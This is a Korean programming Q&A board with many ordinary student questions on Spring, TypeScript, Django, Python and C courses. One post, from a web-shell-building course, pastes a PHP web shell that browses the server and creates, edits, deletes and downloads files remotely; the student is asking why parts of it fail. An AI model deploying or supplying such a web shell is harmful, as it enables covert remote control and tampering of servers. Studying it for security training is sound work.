묻고 답해요
161만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결서버 없이 쓰는 서버, 구글 Cloud Functions
소스코드 제공
안녕하세요.실습에 나와있는 코드들이 강의를 따라서 타이핑 하는데 너무 시간이 오래걸립니다. 그리고, 많은 .ts 파일들은 실습을 통해서 생성된 파일에 비해 강의 설명시 이미 코딩되어 있는 소스들이 많이 있습니다. 소스 다운로드 방법을 클릭하니 유투브에 크리애플이라는 데서 다운받으라고 하는데, 인프런에서 수강료를 지불하고 강의를 듣고 있는데, 소스코드는 또 따로 유트부에 가서 별도로 다운 받아야하나요?
-
미해결[리뉴얼] 타입스크립트 올인원 : Part2. 실전 분석편
모듈 관련 질문입니다.
안녕하세요.tsconfig 중에 noResolve라는 항목에 대해서 공부하다가 이해가 가지 않는 점이 있어 질문남깁니다.1) d.ts 파일들을 보다보면 triple slash references 가 사용되어 있는것을 흔하게 볼 수 있습니다.제가 공부한 바로는 namespace(내부모듈) 을 작성할 때 참조경로를 컴파일러에게 알려주는 역할로서 사용한다고 이해 했는데 맞게 이해 한걸까요?2) noResolve 옵션은 triple slash references 을 무시한다고 공식문서에 나와있는데 그러면 해당 옵션이 어떻게 쓰이는지 궁금합니다. 활성화 되었을 때 참조관계가 무시되고 컴파일이 제대로 안될 것 같은데 그럼 무조건 런타임시 오류가 나지 않나요?
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
JPA 라이브러리 추가하면 히카리로 기본 동작하나용?
드라이버 매니저로 커넥션 받아오는거 테스트 하고 있었는데 왜 히카리로 동작하나요? Spring Db1편 강의에서 바뀐게 JPA 추가한게 전부인데 JPA 라이브러리 추가하면 히카리가 기본동작인가요?(휴대폰으로 결제를 하고 계정을 확인했는데 애플 계정으로 강의를 잘못 사서... 카카오 계정으로 Spring 과정 정주행 했습니다..ㅎㅎ)
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
어떻게 푸는 것이 더 옳은 방법인가요?
문제를 보고 저는 최대한 간결하게 아래의 코드처럼 작성을 하였습니다.function solution(arr1, arr2) { const answer = [...arr1].concat(arr2).sort((a, b) => a - b); return answer; }그리고 해설을 봤더니 강사님은 포인터를 사용하셔서 작성해주셨는데 코딩테스트에서 이런 비슷한 유형의 문제가 나왔을 때 포인터와 같은 풀이를 사용해서 작성하는 것이 옳은 방법인가요? 아니면 최대한 빨리 간결하게 작성하는 것이 옳은 방법인가요?물론 지금은 배우는 단계이니 포인터를 사용하는것이 맞지만 실제 코딩 테스트에서는 어떤 방법이 더 권장되는지 궁금합니다.
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
구글 소셜 로그인 오류
안녕하세요?좋은 강의 감사합니다. 책에서 구글 소셜로그인 기능을 그대로 만들었는데, 구글로 로그인을 하면 아래와 같은 그림이 나옵니다.책에 있는 내용을 그대로 따라했는데(혹시 몰라서 한번더 해봤기 때문에 프로젝트 이름에 2가 붙어있습니다 ㅎㅎ) 혹시 어디서 오류가 발생하는것인지 가이드가 가능하실까요?
-
미해결[2025년 출제기준] 웹디자인기능사 실기시험 완벽 가이드
float:left;와 display:flex; 사용법?
어떤 때 float:left;를 사용하고 어떨 때 display:flex;를 사용합니까? 두 중 아무 것이나 편한 것 아무 때나 사용해도 됩니까?
-
미해결스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
pstmt.setString(1, member.getName());을 쓸 때 처음 매개변수값은 0으로 줘야하지 않나요?
parameterIndex는 1부터 시작하나요?
-
해결됨장고 설계철학으로 시작하는 파이썬 장고 입문
pyenv install 3.10.4 error
안녕하세요. 선생님먼저 좋은 강의를 만들어 주셔서 감사합니다. pyenv로 파이썬을 설치하려고 하는데 잘 설치가 되지 않아 문의드립니다.오류 코드는 아래와 같습니다.scoop 깨끗이 지우고 다시 pyenv로 다시 설치해도 아래와 같은 오류가 나옵니다.부탁 드립니다. 아래 PS C:\Users\kwanw> pyenv install 3.10.4 :: [Info] :: Mirror: https://www.python.org/ftp/python :: [Downloading] :: 3.10.4 ... :: [Downloading] :: From https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe :: [Downloading] :: To C:\Users\kwanw\scoop\apps\pyenv\current\pyenv-win\install_cache\python-3.10.4-amd64.exe :: [Installing] :: 3.10.4 ... :: [Error] :: error installing "core" component MSI. :: [Error] :: couldn't install 3.10.4
-
미해결비전공자를 위한 풀스택 맛집지도 만들기 프로젝트!: Front, Back-end 그리고 배포까지
WinSCP 에서 Putty 열기(Ctrl + P) 오류
Win11 home 환경인데 첨부한 이미지 오류가 나네요.WinSCP, Putty 모두 최신버전이고 각각의 연결은 잘 됩니다.
-
미해결Jenkins를 이용한 CI/CD Pipeline 구축
ssh-copy-id authorized_key
ssh-copy-id 명령어로 복사를 하는데 authorized_key를 열어보니 ECHO가 설정되어 있습니다.라고 적혀있습니다.당연히 ping은 안되고, 혹시 해결법이나 다른방법이 있나요
-
미해결
localhost 404문제
매핑까지 다 하고 잘 되는지 확인해보려고 브라우저에 돌리는데ㅠㅠ로컬호스트에서 404가 뜨네요ㅠㅠ혹시 어디 부분이 잘못된걸까요..??ㅠㅠ
-
미해결공공데이터로 파이썬 데이터 분석 시작하기
Boxplot 결과가 달라요~(plot.box() vs sns.boxplot)
안녕하세요, 좋은 강의 올려 주셔서 항상 감사드립니다~하나의 raw data로 두 가지 방법으로 boxplot을 그려봤습니다. 그런데 그래프가 서로 상이합니다. 왜일까요,,, 확인 부탁 드립니다~df_last.groupby(["월", "연도"])["분양가격"].mean().round().unstack().plot.box()sns.boxplot(data = df_last, x = "연도", y = "분양가격")
-
미해결Skill-Up! 배워서 바로 쓰는 웹쉘 제작
파일, 폴더 삭제, 파일다운로드, 파일 수정이 안됩니다.
#원래 수정은 됬었어요 <? header("Content-Type:text/html;charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $fileName = $_GET["fileName"]; if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path= realpath($path)."/"; $path = str_replace("\\", "/", $path); } #Mode Logic if($mode == "fileCreate") { if(empty($fileName)){ echo "<script>alert('Empty File Name.');history.back(-1);</script>"; exit(); } $fp = fopen($path.$fileName, "w"); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "dirCreate") { if(empty($fileName)){ echo "<script>alert('Empty Directory Name.');history.back(-1);</script>"; exit(); } $dirPath = $path.$fileName; if(is_dir($dirPath)) { echo "<script>alert('Directory Already Exist.');history.back(-1);</script>"; exit(); } mkdir($dirPath); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; }else if ($mode == "fileModify" && !empty($_POST["fileContents"])) { $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } $fileContents = $_POST["fileContents"]; $fp = fopen($filePath, "w"); fputs($fp, $fileContents, strlen($fileContents)); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileDelete") { if(empty($fileName)){ echo "<script>alert('Empty file name');history.back(-1);</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } if(!unlink($filePath)){ echo "<script>alert('Fail To Delete File');history.back(-1);</script>"; exit(); } echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; ####################################################################### } else if ($mode == "dirDelete") { if(empty($fileName)) { echo "<script>alert('No File.');history.back(-1);;</script>"; exit(); } $dirPath = $path.$fileName; if(!is_dir($dirPath)) { echo "<script>alert('No Directory.');history.back(-1);</script>"; } if(!rmdir($dirPath)) { echo "<script>alert('Fail To Delete Directory');history.back(-1);</script>"; exit(); } echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileDownload") { if(empty($fileName)) { echo "<script>alert('No File.');history.back(-1);;</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; fileName=\"{$fileName}\""); header("Content-Transfer-Encoding:binary"); readfile($filePath); exit(); } #Dir list return function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir()) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List Return Function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir()) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SP WEBSHELL1.0.1</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> <script> function fileCreate() { var fileName = frm.createFileName.value; if(!fileName){ alert("Please Input File Name."); return; } location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName; } function dirCreate() { var fileName = frm.createFileName.value; if(!fileName){ alert("Please Input Directory Name."); return; } location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName; } function fileModify(fileName) { location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" + fileName; function dirDelete(fileName) { if(confirm("Will you delete this directory? :" + fileName) == true){ location.href = "<?=$page?>?mode=dirDelete&path=<?=$path?>&fileName=" + fileName; } } function fileDelete(fileName) { if(confirm("Will you delete this file? :" + fileName) == true){ location.href = "<?=$page?>?mode=fileDelete&path=<?=$path?>&fileName=" + fileName; } } } function fileDownload(fileName) { location.href = "<?=$page?>?mode=fileDownload&path=<?=$path?>&fileName=" + fileName; </script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>SP WEBSHELL ver 1.0.3</h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation"><a href="<?=$page?>?mode=fileUpload">File Upload</a></li> <li role="presentation" <? if($mode == "fileUpload") echo "class=\active\"";?>><a href="<?=$page?>?mode=command">Command Excution</a></li> <li role="presentation" <? if($mode == "logout") echo "class=\active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <? if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" method="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path_Input" name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] !=".") { $dirDate= date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span><b> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] !="..") {?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-danger" title="Directory Delete" onclick="dirDelete('<?=$dirList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> <? }?> </div> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate= date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-info" title="File Download" onclick="fileDownload('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="File Delete" onclick="fileDelete('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <hr> <form name="frm"> <div class="input-group"> <input type="text" class="form-control" placeholder="File/Directroy Name Input..." name="createFileName"> <span class="input-group-btn"> <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button> <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button> </span> </div> </form> <? } else if($mode == "fileModify") { ?> <? if(empty($fileName)) { echo"<script>alert('No File.');history.back(-1);</script"; exit(); } $filePath = $path.$fileName; if(!file_exists($filePath)){ echo"<script>alert('No File.');history.back(-1);</script"; exit(); } $fp = fopen($filePath, "r"); $fileContents = fread($fp, filesize($filePath)); fclose($fp); ?> <form action="<?=$page?>?mode=fileModify&path=<?$path?>&fileName=<?=$fileName?>" method="POST"> <div class="input-group"> <input type="text" class="form-control" value="<?=$path?><?=$fileName?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">File Modify</button> </span> </div> <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea> </form> <br> <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1)">Back</button></p> <? } ?> <hr> <p class="text-muted text-center">Made by SPACEPIG#1747</p> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
결정트리 피쳐
결정트리에서 가장 먼저 결정되는 피쳐의 기준이 무엇인지 궁금합니다. 여러개의 피쳐 중 왜 petal length가 제일 먼저 나오는 것인가요? 이것도 분류를 가장 잘 할 수 있는 피쳐를 모델이 피쳐들 중에 직접 선택한 것인가요?
-
미해결스프링 DB 2편 - 데이터 접근 활용 기술
내부 트랜잭션 REQUIRES_NEW 질문입니다.
[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예[질문 내용]안녕하세요.트랜잭션 전파 REQUIRES_NEW 강의를 들으면서 궁금한 점이 생겼습니다.해당 옵션을 추가하면 커넥션을 새로 생성한다고 하셨는데극단적인 상황이지만 만약 애플리케이션의 커넥션 풀이 10개인데 외부+내부 트랜잭션을 위해서 10개의 커넥션을 다 사용한다고 했을때 어떠한 이유로 마지막 커넥션에서 지연이 발생했고 다른스레드에서 커넥션 요청이 오면 커넥션풀에서 데드락이 발생할 수도 있을거 같아서 테스트를 해봤더니 예외가 발생했습니다.이런 상황은 거의 발생하지 않겠지만 혹시 내부 트랜잭션 생성시 REQUIRES_NEW 옵션을 사용 할 때 트랜잭션의 갯수 제한 같은게 있는지 궁금합니다.뒷부분 강의는 아직 듣지 않아서 해당 내용이 나왔을 수도 있지만 궁금해서 질문을 남겨봅니다.아래는 극단적인 상황을 테스트해본 코드입니다. @Test void transaction_test() throws InterruptedException { log.info("외부 트랜잭션 시작"); TransactionStatus outer = txManager.getTransaction(new DefaultTransactionAttribute()); log.info("outer.isNewTransaction() = {}", outer.isNewTransaction()); DefaultTransactionAttribute definition = new DefaultTransactionAttribute(); definition.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRES_NEW); TransactionStatus inner1 = txManager.getTransaction(definition); TransactionStatus inner2 = txManager.getTransaction(definition); TransactionStatus inner3 = txManager.getTransaction(definition); TransactionStatus inner4 = txManager.getTransaction(definition); TransactionStatus inner5 = txManager.getTransaction(definition); TransactionStatus inner6 = txManager.getTransaction(definition); TransactionStatus inner7 = txManager.getTransaction(definition); TransactionStatus inner8 = txManager.getTransaction(definition); TransactionStatus inner9 = txManager.getTransaction(definition); TransactionStatus inner10 = txManager.getTransaction(definition); Thread.sleep(5000); log.info("내부 트랜잭션 롤백"); txManager.rollback(inner1); txManager.rollback(inner2); txManager.rollback(inner3); txManager.rollback(inner4); txManager.rollback(inner5); txManager.rollback(inner6); txManager.rollback(inner7); txManager.rollback(inner8); txManager.rollback(inner9); txManager.rollback(inner10); log.info("외부 트랜잭션 커밋"); txManager.commit(outer); }
-
해결됨
mysql db 조회 오류 관련 질문드려봅니다
user 사용자를 만들고 이를 확인 하는 코드에서 계속 syntax 에러가 발생하는데 이유를 모르겠습니다.동일한 에러 겪으신 분들이 있으실까요?
-
해결됨홍정모의 따라하며 배우는 C언어
(21:15) sizeof( )와 배열의 크기 설명할 때, 괄호가 있는지 없는지 차이를 설명해주세요.
강의 21:15교수님께서 배열의 크기를 구해서 이것을 한 칸이 차지하는 크기만큼 나눠야한다고 설명하시는 부분에서sizeof의 괄호가 있는지 없는지는 앞에서 설명하셨다고 말씀하셨는데,, sizeof를 배운 강의 목차 내용을 다시 살펴봐도 잘 이해가 되질 않습니다.sizeof( )의 괄호가 있고 없고의 차이와 어떨땐 있고 어떨 땐 없는지 자세히 설명해주시면 감사하겠습니다.
-
미해결[코드팩토리] [초급] Flutter 3.0 앱 개발 - 10개의 프로젝트로 오늘 초보 탈출!
안드로이드 스튜디오 관련 사소한 질문이 있습니다.
구글에 검색을 해보기도 했는데 마땅한 답을 못찾아서 질문을 드립니다.1)매번 새로운 프로젝트를 만들때 마다 기존의 디폴트 프로젝트인 카운팅앱 코드를 삭제하고, 메인에 짧은 코드를 그리고 스크린 폴더를 만들어서 홈스크린을 만들어 스캐폴드까지 구성하는 루틴을 아예 새로운 디폴트로 설정 할 수 있게 할 수도 있나요? 조금 게으른것 같지만... 궁금합니다.2)한 디렉토리에 여러 플러터 프로젝트 파일을 생성할때, 립폴더 내의 파일 및 서브디렉토리 내의 다트 파일 정렬 순서가 알파벳 오더가 디폴트인것 같은데, 이것을 생성시간 기준이라던지, 등등으로 오름/내림차순 혹은 완전한 커스텀 정렬을 할 수 있는 방법이 있을까요?
-
미해결홍정모의 따라하며 배우는 C언어
디버깅을 하면 VS가 응답 없음이 되어버립니다
구글링을 통해 나온 방법들을 적용해 보았으나 상황이 변하지 않습니다 어떻게 해야 할까요?
-
미해결리눅스 커맨드라인 툴 (Full ver.)
빔 플러그인 설치
16:06 너드트리 설치시 아래와 같은 화면이 나옵니다.이 상황을 어떻게 대처해야 할까요?